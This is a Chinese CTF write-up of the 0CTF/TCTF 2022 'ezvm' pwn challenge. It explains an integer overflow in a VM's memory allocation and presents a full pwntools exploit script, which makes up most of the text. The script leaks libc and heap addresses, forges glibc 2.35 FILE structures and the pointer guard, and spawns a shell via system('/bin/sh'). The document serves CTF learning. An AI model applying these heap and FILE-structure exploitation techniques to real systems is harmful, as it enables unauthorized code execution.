[TCTF/0CTF 2022 Quals] Pwn - ezvm
题目
题目实现了一个简单的图灵完备的虚拟机,具有栈操作,算术运算,寄存器操作,读/写内存指令,跳转等指令。其中所有的算术运算都是基于栈的运算。
虚拟机的结构体大致如下:
struct VM
{
char *code;
__int64 *memory;
__int64 *stack;
__int64 code_size;
__int64 memory_count;
__int64 regs[4];
__int64 vm_ip;
__int64 vm_sp;
};
其中有三个内存段:code,memory和stack,其中code和memory的大小可以控制,stack的大小固定为0x800。寄存器的值可以通过qword常数加载。程序还提供了存/取指令用于在memory[offset]
上读写,也可以通过pop/push指令在stack[vm_sp]
上读写。所有的读写都要以寄存器为媒介完成。
漏洞点
除了一些无关紧要的越界读,最主要的漏洞是这个:
if ( memory_count >= 0x200000000000000LL )
{
if ( !once_flag )
die("bye bye! bad hacker!");
puts("OK, only one chance.");
once_flag = 0;
}
memory_buf = (char *)malloc(8 * memory_count);
题目允许一次很大的memory_count输入,由于内存单元按照8字节大小计算,最后malloc的时候会传入8 * memory_count
,所以当传入的memory_count大于0x2000000000000000
时就会整数溢出。比如用户传入0x2000000000000001
给memory_count,最后分配内存时相当于执行了malloc(8)
memory的读/写指令实现如下:
case 21: // store regX to mem[offset]
reg_tag_3 = global_vm.code[global_vm.vm_ip];
mem_idx = *(_QWORD *)&global_vm.code[++global_vm.vm_ip];// 偏移用8字节立即数表示
global_vm.vm_ip += 8LL;
if ( (unsigned __int8)reg_tag_3 > 3u || mem_idx < 0 || mem_idx >= global_vm.memory_count )
die("oveflow!");
global_vm.memory[mem_idx] = global_vm.regs[reg_tag_3];
continue;
case 22: // load mem[offset] to regX
reg_tag_4 = global_vm.code[global_vm.vm_ip];
mem_idx_1 = *(_QWORD *)&global_vm.code[++global_vm.vm_ip];
global_vm.vm_ip += 8LL;
if ( (unsigned __int8)reg_tag_4 > 3u || mem_idx_1 < 0 || mem_idx_1 >= 8 * global_vm.memory_count / 8 )
die("oveflow!");
global_vm.regs[reg_tag_4] = global_vm.memory[mem_idx_1];
continue;
可以发现,在写memory的时候使用global_vm.memory_count
来作为边界条件,而在读memory的时候则使用了8 * global_vm.memory_count / 8
作为边界条件,前者在整数溢出时可以发生越界写,而后者即使发生了整数溢出也无法越界读。这个性质对地址泄露的方式有些许影响。
利用思路
最开始的构造思路是,利用堆上残留有地址值的memory堆块,作为下次code使用所的堆块,将残留的地址作为常数拼接到指令中,比如|xxxxxx|op write|reg idx|leak addr|
,以此完成泄露。此时如果申请的memory值特别大,以至于ptmalloc使用mmap来进行分配的话,就会得到一个与libc.so
有固定偏移的内存段。之后可以使用任意偏移写来使用IO_FILE套路拿shell,但是由于指令长度受限,最后在尝试触发__malloc_assert
时遇到了些困难,不得不换一种构造思路
后来发现如果用tls_dtor_list
来拿shell的话...应该也是能满足的,但是做的时候忘记去考虑了
如果说不把memory构造到mmap出来的内存段上的话,那么memory与glibc之间的偏移就是随机的,意味着写memory指令中的常数值也是随机的,这无法一次性通过一个payload完成。于是需要用动态构造vm code的思路————在前一次的VM运行时完成地址泄露,并动态构地造出下一次VM运行时所需的code。然后启动一个具有整数溢出的VM,运行先前构造好的exp code,完成IO_FILE攻击。并且由于memory在heap上,可以很容易越界修改top chunk size,触发_malloc_assert->fflush->...->system("/bin/sh\x00")
由于malloc不会初始化内存,可以先通过memory构造一个残留了libc地址值的heap chunk,将残留值拷贝到不会被破坏的区域。然后释放这个chunk进入unsorted bin,将其再次以tcache的大小从这个chunk中申请两次出来,这样chunk同时包含了heap地址和glibc地址。通过heap地址和glibc地址可以计算出每次写memory[offset]
时,所需的offset值。然后将这个offset值作为code的常数部分,构造到当前memory的未使用区域,并在前面添加opcode,组合成一条完整的写存指令。释放该虚拟机,memory的值不会被完全清空。最后,启动具有整数溢出的VM,通过控制code的大小,从之前释放的memory中分配内存,这样就可以执行构造好的exp code
完整Exp
from pwn import *
context.log_level = "debug"
p = process("./ezvm", env={"LD_PRELOAD":"./libc-2.35.so"})
#p = remote("202.120.7.210", 40241)
def set_code_size(size:int):
p.recvuntil(b"Please input your code size:\n")
p.sendline(str(size).encode())
def set_mem_count(count:int):
p.recvuntil(b"Please input your memory count:\n")
p.sendline(str(count).encode())
def send_code(code:bytes):
p.recvuntil(b"Please input your code:\n")
p.sendline(code)
# vm struct: 0x00555555554000+0x5040
def exp():
# leak
p.recvuntil(b"Welcome to 0ctf2022!!\n")
p.sendline(b"CMD")
set_code_size(0x1f0)
set_mem_count(0x410//8)
code = b""
code += p8(23) # finish
send_code(code)
## leak libc & move forward
p.recvuntil(b"continue?\n")
p.sendline(b"CMD")
set_code_size(0x1f0)
set_mem_count(0x410//8)
code = b""
code += p8(22) + p8(0) + p64(0) # load mem[0] to reg0
code += p8(21) + p8(0) + p64(4) # store reg0 to mem[4]
code += p8(23) # finish
send_code(code)
## leak heap
p.recvuntil(b"continue?\n")
p.sendline(b"CMD")
set_code_size(0x1f0)
set_mem_count(0x200//8)
code = b""
code += p8(23) # finish
send_code(code)
# int overflow -> heap overflow
#gdb.attach(p, "b *0x00555555554000+0x23C9\nc\n")
p.recvuntil(b"continue?\n")
p.sendline(b"CMD")
set_code_size(0x1f0)
set_mem_count(0x200//8)
code = b""
## copy libc_leak to mem[1]
code += p8(22) + p8(2) + p64(4) # load mem[4] to reg2
#code += p8(21) + p8(0) + p64(1) # store reg0 to mem[1]; store libc_leak
## decode ptr to mem[0]
code += p8(22) + p8(0) + p64(0) # load mem[0] to reg0
code += p8(0) + p8(0) # push reg0
code += p8(20) + p8(1) + p64(12) # load 12i to reg1
code += p8(0) + p8(1) # push reg1
code += p8(7) # left shift
#code += p8(1) + p8(0) # pop reg0
#code += p8(21) + p8(0) + p64(0) # store reg0 to mem[0]; store heap_base
## calc next memory base
#code += p8(0) + p8(0) # push reg0
code += p8(20) + p8(1) + p64(0x6b0) # load 0x6b0 to reg1
code += p8(0) + p8(1) # push reg1
code += p8(2) # add
code += p8(1) + p8(0) # pop reg0
code += p8(21) + p8(0) + p64(2) # store reg0 to mem[2]; store next memory_base
## do exploit
####### offsets #######
# leak: 0x00007ffff7facce0
pointer_guard = -0x21c570 & 0xffffffffffffffff
stderr_vtable = 0xa98
io_cookie_jumps_0x60 = -0x4120 & 0xffffffffffffffff
binsh = -0x41648 & 0xffffffffffffffff
system = -0x1c8f80 & 0xffffffffffffffff
new_guard = 0xdeadbeef
#######################
# mem[4:] be used to store code
## calc offset to TLS
#code += p8(22) + p8(2) + p64(1) # load mem[1] to reg2; libc_leak
code += p8(0) + p8(2) # push reg2
code += p8(20) + p8(0) + p64(pointer_guard) # load pointer_guard to reg0
code += p8(0) + p8(0) # push reg0
code += p8(2) # add
code += p8(22) + p8(0) + p64(2) # load mem[2] to reg0; mem_base
code += p8(0) + p8(0) # push reg0
code += p8(3) # sub
code += p8(20) + p8(1) + p64(8) # load 8i to reg0
code += p8(0) + p8(1) # push reg1
code += p8(5) # div
code += p8(1) + p8(0) # pop reg0; pointer_guard mem index
## construct: write pointer guard - mem[4:8]
data = p8(20) + p8(0) + p64(new_guard) # data: load new_guard to reg0
data = data.ljust(0x10, b"\xff")
code += p8(20) + p8(1) + data[:8] # load to reg1
code += p8(21) + p8(1) + p64(4) # store mem[4]
code += p8(20) + p8(1) + data[8:] # load to reg1
code += p8(21) + p8(1) + p64(5) # store mem[5]
code += p8(21) + p8(0) + p64(7) # store reg0 to mem[7]; idx
code += p8(20) + p8(1) + b"\xff"*6+p8(21)+p8(0) # load data: store reg0 to mem[idx]
code += p8(21) + p8(1) + p64(6) # store mem[6]
## calc offset to stderr vtable
code += p8(0) + p8(0) # push reg0
code += p8(20) + p8(1) + p64(0x43a01) # load 0x43a01 to reg1
code += p8(0) + p8(1) # push reg1
code += p8(2) # add
code += p8(1) + p8(0) # pop reg0; vtable mem index
## construct: write stderr vtable - mem[8:10] mem[11:13]
### calc io_cookie_jumps+0x60
code += p8(20) + p8(1) + p64(io_cookie_jumps_0x60) # load io_cookie_jumps_0x60 offset to reg1
code += p8(0) + p8(2) # push reg2
code += p8(0) + p8(1) # push reg1
code += p8(2) # add
code += p8(1) + p8(1) # pop reg1; io_cookie_jumps_0x60
code += p8(21) + p8(1) + p64(9) # store reg1 to mem[9]; idx
code += p8(20) + p8(1) + b"\xff"*6+p8(20)+p8(0) # load data: load val to reg0
code += p8(21) + p8(1) + p64(8) # store mem[8]
code += p8(21) + p8(0) + p64(12) # store reg0 to mem[12]; idx
code += p8(20) + p8(1) + b"\xff"*6+p8(21)+p8(0) # load data: store reg0 to mem[idx]
code += p8(21) + p8(1) + p64(11) # store mem[11]
## calc offset to __cookie
code += p8(0) + p8(0) # push reg0
code += p8(20) + p8(1) + p64(1) # load 1i to reg1
code += p8(0) + p8(1) # push reg1
code += p8(2) # add
code += p8(1) + p8(0) # pop reg0; __cookie mem index
## construct: write stderr __cookie - mem[13:17]
### calc binsh
code += p8(20) + p8(1) + p64(binsh) # load binsh offset to reg1
code += p8(0) + p8(2) # push reg2
code += p8(0) + p8(1) # push reg1
code += p8(2) # add
code += p8(1) + p8(1) # pop reg1; binsh
code += p8(21) + p8(1) + p64(14) # store reg1 to mem[14]; idx
code += p8(20) + p8(1) + b"\xff"*6+p8(20)+p8(0) # load data: load val to reg0
code += p8(21) + p8(1) + p64(13) # store mem[13]
code += p8(21) + p8(0) + p64(16) # store reg0 to mem[11]; idx
code += p8(20) + p8(1) + b"\xff"*6+p8(21)+p8(0) # load data: store reg0 to mem[idx]
code += p8(21) + p8(1) + p64(15) # store mem[11]
## calc offset to stderr func_write
code += p8(0) + p8(0) # push reg0
code += p8(20) + p8(1) + p64(2) # load 2i to reg1
code += p8(0) + p8(1) # push reg1
code += p8(2) # add
code += p8(1) + p8(0) # pop reg0; func_write mem index
## construct: write stderr func_write - mem[17:21]
### calc system
code += p8(20) + p8(1) + p64(system) # load system offset to reg1
code += p8(0) + p8(2) # push reg2
code += p8(0) + p8(1) # push reg1
code += p8(2) # add; system_raw
code += p8(20) + p8(1) + p64(new_guard) # load new_guard to reg1; pointer guard
code += p8(0) + p8(1) # push reg1
code += p8(12) # xor
code += p8(20) + p8(1) + p64(0x11) # load 0x11 to reg1;
code += p8(0) + p8(1) # push reg1
code += p8(7) # ROL
code += p8(1) + p8(1) # pop reg1; system_enc
code += p8(21) + p8(1) + p64(18) # store reg1 to mem[18]; idx
code += p8(20) + p8(1) + b"\xff"*6+p8(20)+p8(0) # load data: load val to reg0
code += p8(21) + p8(1) + p64(17) # store mem[17]
code += p8(21) + p8(0) + p64(20) # store reg0 to mem[20]; idx
code += p8(20) + p8(1) + b"\xff"*6+p8(21)+p8(0) # load data: store reg0 to mem[idx]
code += p8(21) + p8(1) + p64(19) # store mem[19]
code += p8(23) # finish
send_code(code)
## run constructed code
#gdb.attach(p, "b *0x00555555554000+0x23C9\nb *0x00007ffff7e127e0\ndir glibc-2.35/malloc\ndir glibc-2.35/libio\nc\n")
p.recvuntil(b"continue?\n")
p.sendline(b"CMD")
set_code_size(0x1ff)
set_mem_count(0x2000000000000000+0x500//8)
code = b""
code += p8(20) + p8(0) + p64(0x141) # load 0x141 to reg0
code += p8(21) + p8(0) + p64(0x1a3) # store reg0 to mem[0x1a3]; top size
code = code.ljust(0x20, b"\xff")
#code += p8(23) # finish
send_code(code)
## getshell
p.recvuntil(b"continue?\n")
p.sendline(b"CMD")
set_code_size(0x10)
set_mem_count(0x10000//8)
p.sendline(p8(23))
p.interactive()
if __name__ == "__main__":
exp()
其它思路
Water Paddler使用了通过call_tls_dtors()
来getshell的思路